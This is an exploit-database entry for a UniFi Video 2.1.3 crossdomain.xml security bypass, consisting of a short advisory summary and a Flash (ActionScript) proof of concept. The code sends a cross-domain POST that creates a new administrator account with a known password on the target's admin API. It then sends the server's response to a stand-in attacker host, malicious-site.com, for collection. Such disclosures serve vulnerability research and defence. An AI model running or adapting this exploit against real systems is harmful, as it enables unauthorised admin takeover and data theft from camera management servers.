Ubiquiti Networks UniFi Video Default – ‘crossdomain.xml’ Security Bypass
source: https://www.securityfocus.com/bid/68866/info UniFi Video is prone to a security-bypass vulnerability. An authenticated attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. UniFi Video 2.1.3 is vulnerable; other versions may also be affected. // Customized AirVision POC Author: Seth Art (sethsec at gmail.com) // POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com) // POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit) package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; import flash.net.URLRequestHeader; public class XDomainXploit3 extends Sprite { public function XDomainXploit3() { // Target URL from where the data is to be retrieved var readFrom:String = "https//www.example.com:7443/api/2.0/admin"; var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8"); var readRequest:URLRequest = new URLRequest(readFrom); readRequest.method = URLRequestMethod.POST readRequest.data = "{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}"; readRequest.requestHeaders.push(header); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php" var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; sendRequest.data = event.target.data; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } } |